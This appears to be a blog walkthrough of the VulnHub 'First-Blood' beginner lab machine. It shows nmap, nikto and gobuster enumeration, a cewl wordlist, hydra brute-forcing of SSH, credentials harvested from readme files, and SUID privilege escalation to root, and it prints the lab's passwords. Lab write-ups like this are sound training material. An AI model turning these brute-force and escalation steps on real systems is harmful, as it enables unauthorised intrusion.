0xr2d2.medium.com

VulnHub:- First-Blood

0xr2d2

0xr2d2

easy box

Very Easy box..all Thanks to the author for making the box so easy with leaning curve for beginners..

Its guides u from the start of the box and lets you do some research as well.

Please ping him at twitter at link

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Enumeration
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Nmap Scan
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

nmap -sC -sV -p- 192.168.2.113 -oN first_blood

Press enter or click to view image in full size

nmap scan result

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — Nikto Scan
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

nikto -h http://192.168.2.113

Press enter or click to view image in full size

nikto scan result

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Running Gobuster
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

gobuster dir -u http://192.168.2.113 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html

Press enter or click to view image in full size

gobuster scan shows directory

__________________________________________________________________#Checking Directory

http://192.168.2.113/robots.txt

Gets a potential username

USER 1: johnny

USER 2 : rambo

Press enter or click to view image in full size

http://192.168.2.113//rambo.html

gives hint to perform scans which we have already done above :-p

looking in new directory from robots.txt

Press enter or click to view image in full size

http://192.168.2.113/johnnyrambo/

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Generating wordlist using Cewl
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

cewl -w words.txt -d 1 -m 5 http://192.168.2.113/johnnyrambo/

#Looking in ssh.html

Press enter or click to view image in full size

http://192.168.2.113/johnnyrambo/ssh.html

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Brute-Frocing SSH Hydra
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

hydra -l johnny -P words.txt -v 192.168.2.113 ssh -s 60022 -t 4

Press enter or click to view image in full size

hydra brute force

#Password for user:

user : johnny

password : Vietnam

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
SSH login
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

ssh johnny@192.168.2.113 -p 60022

Press enter or click to view image in full size

ssh with the given creds

############################################
Lets root the box
############################################

Press enter or click to view image in full size

finding new directory

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

Get 0xr2d2’s stories in your inbox

Join Medium for free to get updates from this writer.

johnny@firstblood:/$ cat /etc/nginx/sites-enabled/default | grep -v “#”

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

johnny@firstblood:/$ cat /var/www/html

Press enter or click to view image in full size

readme.txt

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

johnny@firstblood:/$ find / -type f -readable 2>/dev/null | grep

finiding Readme.txt in opt

found a readme.txt in opt which have creds

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
#Finding Creds of blood user

Press enter or click to view image in full size

username : blood

password: HackThePlanet2020!!
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

#Switching User from johnny to blood

swtiching user

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
Reading other README.txt

Press enter or click to view image in full size

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

Press enter or click to view image in full size

from here i found that i have to use SUID to gain user privileged from blood to other privileged user
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

#Find the blood can read sly user file by SUID prevesc

Press enter or click to view image in full size

SUID exploit for sly

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

#Creds of user sly

sly creds

username : sly

password: SylvesterStalone
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
#Finding SUID bit prevesc

Press enter or click to view image in full size

looked in gtfo-bins for prevesc

Press enter or click to view image in full size

so we can see here ftp can be run all by users
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

#Prev_Esclation from sly to root

Press enter or click to view image in full size

prev esclation

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

#Getting root flag

Press enter or click to view image in full size

getting flag